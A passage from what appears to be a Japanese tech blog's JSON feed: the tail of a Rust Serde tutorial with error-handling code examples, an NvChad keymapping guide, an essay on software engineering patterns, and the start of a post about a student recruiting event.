bool,}高度な使い方カスタム属性の活用Serdeは様々な属性を提供して、シリアライズ/デシリアライズの挙動をカスタマイズできます。#[derive(Serialize, Deserialize, Debug)]struct Configuration { #[serde(rename = \"apiKey\")] api_key: String, #[serde(default)] timeout_seconds: u32, #[serde(skip_serializing_if = \"Option::is_none\")] optional_field: Option,}エラーハンドリング実際のアプリケーションでは、適切なエラーハンドリングが重要です。use serde::{Serialize, Deserialize};use std::error::Error;use std::fs;use std::io;use std::collections::HashMap;// ユーザーの基本構造体#[derive(Serialize, Deserialize, Debug)]struct User { id: u32, name: String, age: u32, email: String, is_active: bool, // オプショナルなフィールド #[serde(skip_serializing_if = \"Option::is_none\")] metadata: Option>,}// カスタムエラー型の定義#[derive(Debug)]enum UserError { ParseError(serde_json::Error), // JSONパースエラー ValidationError(String), // バリデーションエラー DatabaseError(String), // DB操作エラー IoError(io::Error), // ファイル操作エラー}// serde_json::ErrorからUserErrorへの変換を実装impl From for UserError { fn from(err: serde_json::Error) -> UserError { UserError::ParseError(err) }}// io::ErrorからUserErrorへの変換を実装impl From for UserError { fn from(err: io::Error) -> UserError { UserError::IoError(err) }}// std::error::Errorトレイトの実装impl std::fmt::Display for UserError { fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { match self { UserError::ParseError(e) => write!(f, \"Parse error: {}\", e), UserError::ValidationError(msg) => write!(f, \"Validation error: {}\", msg), UserError::DatabaseError(msg) => write!(f, \"Database error: {}\", msg), UserError::IoError(e) => write!(f, \"IO error: {}\", e), } }}impl Error for UserError {}// Userの実装impl User { // バリデーションメソッド fn validate(&self) -> Result<(), UserError> { if self.name.is_empty() { return Err(UserError::ValidationError(\"Name cannot be empty\".to_string())); } if self.age > 150 { return Err(UserError::ValidationError(\"Invalid age\".to_string())); } if !self.email.contains('@') { return Err(UserError::ValidationError(\"Invalid email format\".to_string())); } Ok(()) }}// 基本的なJSONパース関数fn parse_user(json_str: &str) -> Result { // map_errを使用してエラーをログ出力 serde_json::from_str(json_str).map_err(|e| { println!(\"Error parsing JSON: {}\", e); e // 元のエラーを返す })}// より詳細なエラーハンドリングを行う関数fn process_user_data(json_str: &str) -> Result { // JSONのパース let user: User = serde_json::from_str(json_str)?; // ?演算子でエラーを伝播 // バリデーション user.validate()?; // ?演算子でエラーを伝播 Ok(user)}// 複数ユーザーからの検索(Option型との組み合わせ)fn find_user_by_id(json_str: &str, target_id: u32) -> Result, UserError> { // JSONから複数ユーザーをパース let users: Vec = serde_json::from_str(json_str)?; // 指定されたIDのユーザーを探す Ok(users.into_iter().find(|user| user.id == target_id))}// ファイル操作を含むエラーハンドリングfn load_user_from_file(path: &str) -> Result { // ファイルを読み込み let content = fs::read_to_string(path).map_err(|e| { eprintln!(\"Failed to read file {}: {}\", path, e); UserError::IoError(e) })?; // JSONをパースしてUserを返す process_user_data(&content)}// ファイルへの保存fn save_user_to_file(user: &User, path: &str) -> Result<(), UserError> { // UserをJSONに変換 let json = serde_json::to_string_pretty(user).map_err(|e| { eprintln!(\"Failed to serialize user: {}\", e); UserError::ParseError(e) })?; // ファイルに書き込み fs::write(path, json).map_err(|e| { eprintln!(\"Failed to write to file {}: {}\", path, e); UserError::IoError(e) })?; Ok(())}fn main() { // 1. 有効なJSONの例 let valid_json = r#\" { \"id\": 1, \"name\": \"John Doe\", \"age\": 30, \"email\": \"john@example.com\", \"is_active\": true, \"metadata\": { \"last_login\": \"2024-01-01\", \"location\": \"Tokyo\" } } \"#; // 2. 無効なJSONの例(バリデーションエラー) let invalid_json = r#\" { \"id\": 2, \"name\": \"\", \"age\": 200, \"email\": \"invalid-email\", \"is_active\": true } \"#; // 3. 複数ユーザーのJSONの例 let users_json = r#\"[ { \"id\": 1, \"name\": \"John Doe\", \"age\": 30, \"email\": \"john@example.com\", \"is_active\": true }, { \"id\": 2, \"name\": \"Jane Doe\", \"age\": 25, \"email\": \"jane@example.com\", \"is_active\": true } ]\"#; // 4. 各種エラーハンドリングの実演 println!(\"1. 基本的なパース:\"); match parse_user(valid_json) { Ok(user) => println!(\"成功: {:?}\", user), Err(e) => println!(\"エラー: {}\", e), } println!(\"\\n2. バリデーション付きパース:\"); match process_user_data(invalid_json) { Ok(user) => println!(\"成功: {:?}\", user), Err(e) => println!(\"エラー: {}\", e), } println!(\"\\n3. ユーザー検索:\"); match find_user_by_id(users_json, 1) { Ok(Some(user)) => println!(\"ユーザーが見つかりました: {:?}\", user), Ok(None) => println!(\"ユーザーが見つかりません\"), Err(e) => println!(\"エラー: {}\", e), } println!(\"\\n4. ファイル操作:\"); // 有効なユーザーをファイルに保存 if let Ok(user) = parse_user(valid_json) { match save_user_to_file(&user, \"user.json\") { Ok(()) => println!(\"ユーザーを保存しました\"), Err(e) => println!(\"保存エラー: {}\", e), } // 保存したファイルから読み込み match load_user_from_file(\"user.json\") { Ok(loaded_user) => println!(\"ロードしたユーザー: {:?}\", loaded_user), Err(e) => println!(\"ロードエラー: {}\", e), } }}ベストプラクティス型の使い分け必須フィールドは通常の型オプショナルフィールドはOption配列はVecを使用エラーハンドリングunwrap()は開発時のみ使用本番コードではResultを適切に処理カスタム属性の活用#[serde(rename)]でフィールド名の変換#[serde(default)]でデフォルト値の設定#[serde(skip_serializing_if)]で条件付きスキップまず、Cargo.tomlにchronoの依存関係を追加します。use chrono;use serde::{Deserialize, Serialize};use std::collections::HashMap;use std::error::Error as StdError;use std::fmt;use std::fs; // chronoクレートのインポート// ベストプラクティスに基づいた構造体の定義#[derive(Serialize, Deserialize, Debug)]struct UserProfile { // 1. 必須フィールド(通常の型) id: u64, username: String, email: String, // 2. オプショナルフィールド(Optionの使用) #[serde(skip_serializing_if = \"Option::is_none\")] phone_number: Option, #[serde(skip_serializing_if = \"Option::is_none\")] biography: Option, // 3. 配列(Vecの使用) #[serde(skip_serializing_if = \"Vec::is_empty\")] interests: Vec, // 4. カスタム属性の活用 // JSONでは\"lastLoginTime\"として表示 #[serde(rename = \"lastLoginTime\")] last_login_time: String, // デフォルト値の設定 #[serde(default)] is_active: bool, // 動的なキーバリューペア #[serde(default, skip_serializing_if = \"HashMap::is_empty\")] metadata: HashMap,}// カスタムエラー型の定義#[derive(Debug)]enum ProfileError { JsonError(serde_json::Error), ValidationError(String), IoError(std::io::Error),}// ProfileErrorにDisplayトレイトを実装impl fmt::Display for ProfileError { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { match self { ProfileError::JsonError(e) => write!(f, \"JSON error: {}\", e), ProfileError::ValidationError(e) => write!(f, \"Validation error: {}\", e), ProfileError::IoError(e) => write!(f, \"IO error: {}\", e), } }}// ProfileErrorにErrorトレイトを実装impl StdError for ProfileError { fn source(&self) -> Option<&(dyn StdError + 'static)> { match self { ProfileError::JsonError(e) => Some(e), ProfileError::ValidationError(_) => None, ProfileError::IoError(e) => Some(e), } }}// エラー変換の実装impl From for ProfileError { fn from(err: serde_json::Error) -> Self { ProfileError::JsonError(err) }}impl From for ProfileError { fn from(err: std::io::Error) -> Self { ProfileError::IoError(err) }}// UserProfileの実装impl UserProfile { // コンストラクタ fn new(id: u64, username: String, email: String) -> Self { UserProfile { id, username, email, phone_number: None, biography: None, interests: Vec::new(), last_login_time: chrono::Utc::now().to_rfc3339(), is_active: true, metadata: HashMap::new(), } } // バリデーション fn validate(&self) -> Result<(), ProfileError> { if self.username.is_empty() { return Err(ProfileError::ValidationError( \"Username cannot be empty\".to_string(), )); } if !self.email.contains('@') { return Err(ProfileError::ValidationError( \"Invalid email format\".to_string(), )); } Ok(()) } // メタデータの追加 fn add_metadata(&mut self, key: &str, value: &str) { self.metadata.insert(key.to_string(), value.to_string()); } // 興味・関心の追加 fn add_interest(&mut self, interest: &str) { self.interests.push(interest.to_string()); }}// プロファイル処理関数fn process_profile(json_str: &str) -> Result { // JSONからプロファイルを作成 let profile: UserProfile = serde_json::from_str(json_str)?; // バリデーション profile.validate()?; Ok(profile)}// ファイル操作を含むプロファイル保存fn save_profile(profile: &UserProfile, path: &str) -> Result<(), ProfileError> { // バリデーション profile.validate()?; // JSON文字列に変換(整形付き) let json = serde_json::to_string_pretty(profile)?; // ファイルに保存 fs::write(path, json)?; Ok(())}fn main() -> Result<(), Box> { // 1. プロファイルの作成 let mut profile = UserProfile::new(1, \"john_doe\".to_string(), \"john@example.com\".to_string()); // オプショナルフィールドの設定 profile.phone_number = Some(\"123-456-7890\".to_string()); profile.biography = Some(\"Tech enthusiast and developer\".to_string()); // 興味・関心の追加 profile.add_interest(\"Programming\"); profile.add_interest(\"Open Source\"); // メタデータの追加 profile.add_metadata(\"location\", \"Tokyo\"); profile.add_metadata(\"timezone\", \"UTC+9\"); // 2. JSONへの変換と保存 println!(\"保存するプロファイル:\"); println!(\"{:#?}\", profile); save_profile(&profile, \"profile.json\").map_err(|e| Box::new(e) as Box)?; println!(\"\\nプロファイルを保存しました\"); // 3. JSONからの読み込みとバリデーション let json_str = r#\"{ \"id\": 2, \"username\": \"jane_doe\", \"email\": \"jane@example.com\", \"phone_number\": \"098-765-4321\", \"biography\": \"Software Engineer\", \"interests\": [\"AI\", \"Machine Learning\"], \"lastLoginTime\": \"2024-01-01T00:00:00Z\", \"metadata\": { \"location\": \"Osaka\", \"language\": \"ja\" } }\"#; match process_profile(json_str) { Ok(loaded_profile) => { println!(\"\\n読み込んだプロファイル:\"); println!(\"{:#?}\", loaded_profile); } Err(e) => match e { ProfileError::JsonError(e) => println!(\"JSONエラー: {}\", e), ProfileError::ValidationError(e) => println!(\"バリデーションエラー: {}\", e), ProfileError::IoError(e) => println!(\"I/Oエラー: {}\", e), }, } // 4. 無効なデータの例 let invalid_json = r#\"{ \"id\": 3, \"username\": \"\", \"email\": \"invalid-email\" }\"#; match process_profile(invalid_json) { Ok(_) => println!(\"予期せぬ成功\"), Err(e) => match e { ProfileError::ValidationError(msg) => { println!(\"\\nバリデーションエラー(期待通り): {}\", msg) } _ => println!(\"予期せぬエラー\"), }, } Ok(())}まとめSerdeは、RustでJSONを扱う際の強力なツールです。JSON to Rustのようなツールと組み合わせることで、より効率的な開発が可能になります。基本的な使い方を押さえた上で、プロジェクトの要件に応じて高度な機能を活用していくことをお勧めします。参考リンクSerde公式ドキュメントJSON to Rust Converterserde_json クレートドキュメント","isoDate":"2024-11-26T05:10:35.000Z","dateMiliSeconds":1732597835000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"私の為のNvChadのキーマッピングガイド","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/24/171651","contentSnippet":"はじめに私は定期的に必要なことを忘れてしまう。子ども時代に水を口に入れて水の飲み方を忘れてしまったことがある。大切なことを今まで普通にできたことが急にできなくなることがある。学習もそう、定期的に復習して思い出すことが大切だと感じているが突然忘れてしまうことがある。突然忘れてしまうと探す必要があるが毎回探すのが面倒になってきたのでNvChadのキーマッピングをまとめてみた。基本的なショートカット表記 = Ctrlキー = スペースキー(デフォルト) = Altキー = Shiftキーよく使う機能とそのキーマッピング1. ファイル操作で必須のコマンド - 保存(これだけは絶対覚える。:w なんてやっているとvsCodeを使っている人にバカにされる) - ファイル全体をコピー(便利)fm - フォーマット(コードを整形してくれる)n - 行番号の表示/非表示rn - 相対行番号の切り替え2. 検索系(Telescope)検索系は本当によく使うので、最優先で覚えたいです。ff - ファイル検索(最重要)fw - プロジェクト内のテキスト検索(grep)fb - 開いているバッファを検索fo - 最近開いたファイルを検索fz - 現在のバッファ内をあいまい検索cm - Gitコミットを検索gt - Gitのステータスを表示github.com3. LSP関連(コードジャンプ・リファレンス)コードリーディングする時に本当に助かる機能たちです。gd - 定義へジャンプ(最も使う)gr - 参照を探す(変数やメソッドの使用箇所を探せる)K - ドキュメントを表示(カーソル位置の要素の説明を表示)gi - 実装へジャンプ(インターフェースから実装を探せる)ds - 診断情報をloclistに表示github.com4. 画面分割とウィンドウ移動複数のファイルを同時に見たい時に使います。 - 左のウィンドウへ - 右のウィンドウへ - 下のウィンドウへ - 上のウィンドウへ5. バッファ操作b - 新しいバッファを開く - 次のバッファへ - 前のバッファへx - バッファを閉じる6. ターミナル操作ターミナルは必要に応じて呼び出せます。 - フローティングターミナル(これが一番便利) - 水平分割のターミナル - 垂直分割のターミナル - ターミナルモードを抜ける7. その他の便利機能ch - チートシート表示(キーマッピングを忘れた時用)/ - コメントアウトのトグル - ファイルツリーの表示/非表示e - ファイルツリーにフォーカス - ハイライトをクリアなぜこれらのキーマッピングを覚える必要があるのか私の経験上、以下の機能は開発効率を大きく向上させてくれます。ファイル検索(Telescope)プロジェクト内のファイルを素早く見つけられるコードベースの把握が容易になるGit操作との連携で変更管理がしやすいLSP機能コードの定義や参照を素早く調べられるリファクタリングが楽になるコードの理解が深まるエラー診断が即座にわかるRust を書いていると 1 箇所書き換えると芋づる式に修正が発生するのでどうしても必要になる。ターミナル統合エディタを離れずにコマンドを実行できるgit操作やビルドが快適フローティング表示で作業の邪魔にならないバッファ管理複数ファイルの編集がスムーズ必要なファイルをすぐに切り替えられるなぜNvChadを選んだのか実は、私のエディタ遍歴は長い。最初はVimから始まり、その後SpaceVim、AstroNvim、LunarVimなど、様々なNeovim系のディストリビューションを試してきた。VSCodeやIntelliJ IDEAのVimプラグインも使っていた時期がある。その過程で、Vimのキーバインドの快適さと、モダンなIDEの便利さ、その両方の良さを実感していた。ただ、どれも何かが違った。なんとなくしっくりこない。そんな中で出会ったのがNvChadだった。そんな中でNvChadに出会い、決め手となったのは開発体制の健全さだった。リポジトリは定期的に更新され、ドキュメントも整備されている。破壊的な変更がある場合も、きちんとアナウンスされ、移行のガイドラインが提供される。コミュニティも活発で、問題が起きた時のサポートも期待できる。nvchad.comさらに、NvChadの設計思想も気に入った。必要最小限の機能を高速に動作させることを重視し、その上で必要な機能を追加できる拡張性を持っている。プラグインマネージャーにlazy.nvimを採用し、起動時間の最適化もされている。LSPやTreeSitterの統合も洗練されており、快適なコーディング環境を提供してくれる。結果として、NvChadは私の理想とするエディタ環境に最も近かった。Vimの哲学を大切にしながら、モダンな開発環境を実現している。もちろん、完璧なエディタは存在しないし、NvChadにも改善の余地はきっとある。しかし、現時点で最も信頼できる選択肢の一つであることは間違いない。Vimを学ぶために通常のVimを学ぶ場合は、「実践Vim 思考のスピードで編集しよう!」がおすすめだ。Vimの基本から応用までを体系的に学べ、実践的な例も豊富に掲載されている。実践Vim 思考のスピードで編集しよう! (アスキー書籍)作者:Drew Neil,新丈 径角川アスキー総合研究所Amazonまた、Vim Adventuresというゲームも面白い。ゲーム感覚でVimのキー操作を学べ、楽しみながら基本的なコマンドが身につく。初心者にも優しい学習カーブで、Vimの世界に入るきっかけとして最適だ。vim-adventures.comしかし、NvChadはこれらの基本的なVimの知識に加えて、モダンなIDE的機能を提供してくれる。このガイドでは、特にNvChad特有の機能に焦点を当てて説明しました。私自身、日々の開発作業でNvChadの恩恵を受けており、その便利さを多くの人と共有したいと考えている。まとめ私はVimを使い始めて数年経つが、今でも新しい発見がある。NvChadも同様で、日々の作業の中で「こんな機能があったのか」と驚かされることが多い。最初は覚えることの多さに圧倒されるかもしれないが、焦る必要はない。私の経験では、まずは基本的なファイル操作から始めるのが良い。保存やコピーといった最低限の操作を確実に覚えることで、日常的な編集作業に支障がなくなる。次に、Telescopeによるファイル検索を習得すると、作業効率が格段に上がる。プロジェクト内のファイルを瞬時に探せるようになり、コードベースの把握も容易になる。その後、LSPの基本機能を学んでいくと良いだろう。定義ジャンプやドキュメント表示は、コードリーディングの強力な味方となる。ウィンドウ操作とバッファ管理、ターミナル操作は、これらの基本操作に慣れてから徐々に取り入れていけば良い。結局のところ、エディタは道具でしかない。完璧に使いこなす必要はなく、自分の作業をサポートしてくれる程度に理解していれば十分だ。このガイドも、そんな私のような「忘れっぽいプログラマー」のための備忘録として活用してもらえれば幸いだ。少しずつでも確実に、自分なりのNvChadの使い方を見つけていってほしい。参考リンクNvChad公式ドキュメントGitHub - NvChad/NvChadNeovim LSP Documentation","isoDate":"2024-11-24T08:16:51.000Z","dateMiliSeconds":1732436211000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"先人の知見から学ぶ、その経験則","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/20/122114","contentSnippet":"この度、Cloud Native における最新の機能やベストプラクティスにおいての学びについて、登壇させていただくことになりました。このテーマについて私なりに取り留めのない思考を整理した考えを共有させていただきます。event.cloudnativedays.jpソフトウェアエンジニアリングの型についてソフトウェアの世界には、プログラミング言語における変数やデータの「型」とは別に、長年の経験と知恵から生まれた様々な型が存在します。ここでいう「型」とは、開発者の思考や行動のパターンを体系化したものを指します。これらの型は、プログラマーが日々直面する問題に対する体系的な解決策を提供します。こうした型は、文脈や状況によって様々な呼び方をします。例えば、同じような問題解決のアプローチでも、ある文脈では「パターン」、別の文脈では「ベストプラクティス」と呼ばれることがあります。また、同じような設計手法でも、技術スタックやチームの文化によって異なる名前で知られていることもあります。このように、型の呼び方は多様ですが、その本質は問題解決のための知恵の結晶であることは変わりません。そのため、このブログでは意図的に「定石」「パターン」「手法」「アプローチ」「作法」「ベストプラクティス」など、様々な呼び方を用いて型を説明していきます。これは、同じような概念や手法が異なる文脈で別の名前で呼ばれている実態を反映させるためです。それぞれの呼び方が持つニュアンスの違いを理解することで、型に対するより深い理解が得られると考えています。いろんな名前の型の種類と特徴まず「定石」は、特定の状況下での最適な対処方法を示します。例えば、データベースにおけるN+1問題の解決方法やメモリリーク対策の手順など、具体的な技術的課題に対する確立された解決策です。次に「パターン」は、一般的な設計上の問題に対する標準的な解決策を提供します。いくつかの文脈で登場しますがコードやソフトウェアの構造化と再利用性を高めます。「手法」は開発プロセスを改善するための具体的な方法論を指します。テスト駆動開発(TDD)、リファクタリング、継続的インテグレーションなどが該当し、より体系的な開発アプローチを可能にします。「アプローチ」は問題解決への基本的な考え方や戦略を示し、ドメイン駆動設計(DDD)やマイクロサービスアーキテクチャなどが含まれます。また、「作法」はコードの品質と保守性を高めるための慣習を表します。SOLID原則、クリーンコード、命名規則などがこれにあたり、チーム開発における共通理解を促進します。「ベストプラクティス」は実践で効果が実証された推奨される方法であり、セキュリティ対策、パフォーマンスチューニング、エラー処理などの具体的な実装手法を含みます。他にも同じような文脈なのにいろんな言い方の「型」があります。aws.amazon.comlearn.microsoft.comcloud.google.com型の重要な特性これらの型には、いくつかの重要な特性があります。まず状況依存性があり、プロジェクトの規模や要件、チームの習熟度、ビジネスドメインによって最適な型が変化します。また、進化と適応の性質も持ち合わせており、新しい技術の登場により型自体が進化したり、既存の型が新しい文脈で再解釈されたり、チームの経験を通じて洗練されていきます。さらに、相互補完性も重要な特性です。複数の型を組み合わせることで相乗効果が生まれ、異なる型が互いの弱点を補完し合います。状況に応じて型を柔軟に組み合わせることが、効果的な問題解決には不可欠です。このように、ソフトウェアにおける「型」は、単なる規則や制約ではなく、効果的な問題解決のための知識体系として機能しています。これらの型を理解し、適切に活用することで、より効率的で品質の高い開発が可能になります。型の存在を認識し、その本質を理解することは、プログラマーとしての成長において重要な要素となるでしょう。プリンシプル オブ プログラミング 3年目までに身につけたい 一生役立つ101の原理原則作者:上田勲秀和システムAmazonどの巨人の型に乗るのか?ソフトウェアの世界で「定石」を学ぶことは、ある種の賭けのような性質を持っています。最初は論理的な理解が難しい概念や方法論を受け入れる必要があるにもかかわらず、その価値は実践してみないとわからないという矛盾を抱えているためです。多くの場合、「きっと将来役立つはず」という信念に基づいて学習を進める必要があります。この学習における矛盾は、特に高度な開発手法を習得する際に顕著に現れます。例えば、テスト駆動開発(TDD)の習得では、最初はテストを先に書くという一見非効率に思える手法に違和感を覚えるでしょう。しかし、この手法の真価は、実際にプロジェクトで実践し、コードの品質向上や保守性の改善を体験してはじめて理解できます。同様に、アーキテクチャ設計原則の導入においても、初期段階では過度に複雑に感じられる設計パターンや抽象化の価値を理解することは困難です。デザインパターンの学習や関数型プログラミングの考え方も、習得には相当な時間と労力を要します。これらの知識は、直接的な効果が見えにくい一方で、長期的には開発効率と品質を大きく向上させる可能性を秘めています。このジレンマを乗り越えるためには、段階的な学習アプローチと実践を通じた検証が重要になります。小規模なプロジェクトや個人的な開発で新しい手法を試し、その効果を実感することから始めることで、より大きなプロジェクトでの適用に向けた確信と経験を積むことができます。ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール作者:Chris Zimmermanオーム社Amazon作法の習得における難しさ確立された手法(パターン)の習得には、独特の困難さが伴います。その中でも特に重要な課題として、習得前後のジレンマと成長段階による最適解の変化が挙げられます。まず、習得前後のジレンマについて考えてみましょう。体得するまでは本当の価値がわからないという特徴は、多くの開発手法に共通しています。例えば、ある設計パターンを学び始めた時点では、それがどのような状況でどれほどの効果を発揮するのか、具体的にイメージすることが困難です。さらに厄介なことに、体得してしまうと、その影響を客観的に評価しづらくなるという逆説的な問題も存在します。手法が無意識のうちに身についてしまうと、その手法を使わない場合との比較が難しくなり、問題が発生した際に、その原因がパターンの適用にあるのか、それとも他の要因によるものなのか、判断が困難になってしまいます。次に、成長段階による最適解の変化について着目する必要があります。プログラマーとしての習熟度によって最適な手法が変わるというのは、多くの現場で観察される現象です。例えば、初級者の段階では、まずはシンプルな実装手法に焦点を当て、基本的なプログラミングスキルを確実に身につけることが重要です。中級者になると、設計パターンの理解と適切な適用が課題となり、コードの構造化や再利用性を意識した開発が求められるようになります。上級者では、さらに進んで、パターンの取捨選択や状況に応じた最適化が必要となります。また、チームの規模や製品の成熟度によっても適切なアプローチは変化します。小規模なチームでは比較的シンプルな設計で十分な場合でも、チームが大きくなるにつれて、より体系的なアプローチが必要となることがあります。同様に、プロダクトの初期段階では迅速な開発を優先し、成熟期に入ってからより洗練された設計パターンを導入するなど、状況に応じた柔軟な対応が求められます。このように、作法の習得プロセスは単純な知識の蓄積ではなく、様々な要因を考慮しながら、継続的に改善と適応を行っていく必要のある複雑な取り組みと言えます。私たちはどう学んでいるのか ――創発から見る認知の変化 (ちくまプリマー新書)作者:鈴木宏昭筑摩書房Amazon不適切なパターンを見分けるための3つの条件複雑さという落とし穴不適切なパターンの最も顕著な特徴は、シンプルさの欠如です。優れたパターンには、核となる概念がシンプルで説明が簡潔であり、様々な状況への応用が柔軟に可能という特徴があります。このシンプルさは、単なる実装の簡素さだけでなく、パターンが解決しようとする問題と解決方法の関係性が明確であることを意味します。一方で、複雑な条件分岐が多い実装手法や、例外処理が複雑に絡み合ったエラーハンドリング、過度に抽象化された設計パターンなどは、保守性を低下させる要因となりかねません。特に、抽象化の層が必要以上に深くなると、コードの見通しが悪くなり、バグの温床となる可能性があります。シンプルさを欠いたパターンは、チームメンバー間での共有や理解を困難にし、結果として開発効率の低下やメンテナンスコストの増大を招くことがあります。批判を許さない教条主義検証がタブー視されている状況は、不適切なパターンの存在を示す重要な指標です。「それが会社の方針だから」という説明やレガシーコードの無批判な踏襲、特定の実装パターンへの過度な信仰は、危険な兆候と言えます。このような状況では、パターンの有効性や適用範囲について、客観的な評価や建設的な議論が行われにくくなります。定石の効果は常に検証可能であるべきであり、新しい技術やアプローチとの比較検討を行える環境が必要です。また、チーム内で改善提案が歓迎される雰囲気を醸成することも、健全なパターン活用には不可欠です。例えば、定期的なコードレビューやアーキテクチャ検討会での議論、実装パターンの効果測定など、具体的な検証の機会を設けることが重要です。パターンの効果や適用方法について、オープンな議論と継続的な改善が可能な環境を整えることで、より適切なパターンの選択と進化が促進されます。また、新しいチームメンバーからの質問や疑問を歓迎する文化を作ることで、既存のパターンの妥当性を定期的に見直すきっかけにもなります。魔法の解決策という幻想パターンに対する過度な期待は、不適切な適用を引き起こす大きな要因です。特定のアーキテクチャやパターンへの過度な期待や、新しいフレームワークやツールへの盲目的な信仰は、実装の複雑化や運用コストの増大を引き起こす可能性があります。特に、「銀の弾丸」を求める姿勢は、現実的な問題解決を見失わせる原因となりかねません。どんなパターンにも適用範囲や限界があることを認識し、状況に応じた適切な選択を行うことが重要です。例えば、マイクロサービスアーキテクチャは分散システムの柔軟性を高める可能性がありますが、運用の複雑さやネットワークの信頼性など、新たな課題も同時にもたらします。期待と現実のギャップを冷静に評価し、パターンの適用による実際の効果を慎重に見極める必要があります。これには、パターン導入前後での定量的な指標の比較や、チームメンバーからのフィードバック収集、実際のユーザーへの影響分析など、多角的な評価アプローチが求められます。また、パターンの導入は段階的に行い、各段階での効果を確認しながら進めることで、リスクを最小限に抑えることができます。仮説思考―BCG流 問題発見・解決の発想法 内田和成の思考作者:内田 和成東洋経済新報社Amazon定石の進化と検証確立された手法は、暫定的な真実としての性質を持っています。これは、定石が先人の経験則の集大成として形成されながらも、常に改善の余地があるという特徴を示しています。時代とともに技術は進化し、新しい方法論が生まれることで、既存の定石が見直されたり置き換わったりすることは珍しくありません。この変化を受け入れ、柔軟に適応していく姿勢が重要です。また、定石の適用には段階的な最適化が必要です。プロジェクトの初期段階では、迅速な開発とフィードバックループの確立を重視した手法が有効です。その後、サービスがスケールしていく段階では、パフォーマンスや保守性を考慮したパターンの導入が必要となってきます。さらに、プロダクトが成熟期に入ったメンテナンスフェーズでは、長期的な運用を見据えた定石の適用が求められます。このように、プロジェクトのライフサイクルに応じて、適切な手法を選択し組み合わせていくことが重要です。そして、これらの手法の有効性を担保するためには、継続的な検証が不可欠です。具体的には、パフォーマンス指標による定量的な評価や、実際のユーザーからのフィードバックの収集、さらにはチーム内での定期的な振り返りを通じて、採用している手法の効果を多角的に検証する必要があります。この検証プロセスを通じて、チームは定石の適用方法を改善し、より効果的な開発プラクティスを確立することができます。このような進化と検証のサイクルを通じて、定石は単なる形式的なルールではなく、実践的で価値のある知識体系として発展していきます。重要なのは、定石を固定的なものとして捉えるのではなく、常に改善と適応を繰り返す生きた知識として扱うことです。それによって、チームは変化する要求や技術環境に柔軟に対応しながら、より効果的な開発プロセスを実現することができます。論点思考作者:内田 和成東洋経済新報社Amazonおわりにそもそも、Kubernetesは型の集大成とも言える存在です。PodやDeployment、Service、Operatorなど、その設計思想には分散システム開発における長年の経験と知恵が型として結晶化されています。Kubernetesの各機能は、それぞれが独立した型でありながら、組み合わさることでより大きな価値を生み出しており、まさにここで議論してきた型の相互補完性を体現していると言えるでしょう。ソフトウェアにおける定石やパターンとの付き合い方は、プログラマーとしての成長において重要な要素となります。ここで重要なのは、バランスの取れたアプローチです。定石を完全に否定せず、かといって盲目的にも従わないという姿勢を保ちながら、常に検証と改善を心がけることが大切です。チームや製品の成長に合わせて手法を進化させていくことで、より効果的な開発プロセスを確立することができます。また、開発手法の習得には継続的な学習のサイクルが不可欠です。まずは基本的なパターンを学び実践するところから始め、経験を積みながら定石の本質を理解していきます。その過程で、状況に応じて手法を適応させたり改善したりすることで、より深い理解と実践的なスキルを身につけることができます。さらに、未来への視点を持つことも重要です。現在の課題解決だけでなく、将来の拡張性も考慮に入れた選択を心がけます。新しい技術やアプローチに対してオープンな姿勢を保つことで、より良い解決策を見出す可能性を広げることができます。また、チーム全体での知識と経験の共有を促進することで、組織としての成長も期待できます。定石やパターンは確かに重要な指針となりますが、それは絶対的な真理ではありません。状況や文脈に応じて、柔軟に解釈し適用していく必要があります。プログラマーとして成長するには、確立された手法を理解し、適切に活用しながら、常に改善と進化を続けることが重要です。この継続的な学習と適応のプロセスこそが、真に効果的な開発手法の確立につながるのです。このような姿勢で開発に取り組むことで、個人としての技術力向上だけでなく、チーム全体の生産性と品質の向上にも貢献することができます。ソフトウェアの世界は常に進化し続けており、その中で成長し続けるためには、確かな基礎と柔軟な思考を併せ持つことが不可欠なのです。","isoDate":"2024-11-20T03:21:14.000Z","dateMiliSeconds":1732072874000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"#技育CAMPキャラバン in福岡🗣️で学生の質問に答えた。","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/17/003421","contentSnippet":"はじめに先日、技育CAMPキャラバンin福岡に社会人エンジニアとして参加し、学生の皆さんと対話する貴重な機会を得ました。このイベントは一方的な講義形式ではなく、各企業がブースを設け、学生と直接対話できる形式で行われました。talent.supporterz.jp私は株式会社スリーシェイクのSreake事業部に所属しています。当社はインフラエンジニアやSRE特化の企業であり、必ずしも全ての学生エンジニアの志望と合致するわけではありません。そのため、マッチングに時間が余った際には、先輩社会人として学生からの様々な質問に答える時間を持つことができました(もちろん、インフラエンジニアやSREに興味がある学生は応募してほしいです)。jobs-3-shake.com実はこの内容は半分冗談で半分本気なのですが、基本的な生活習慣の重要性は本当に伝えたいメッセージの一つです。なので、後半に参考文献などを貼ってます。もう、おじさんなので学生エンジニアに出会ったら、集中力を高める食事、認知機能を向上させる運動、記憶の定着に不可欠な質の良い睡眠、創造性を引き出す意識的な休憩といった基本的な生活習慣の最適化と、予期せぬチャンスを活かす計画的偶発性理論に基づくキャリア形成の話しかしていない。— nwiizo (@nwiizo) 2024年11月16日 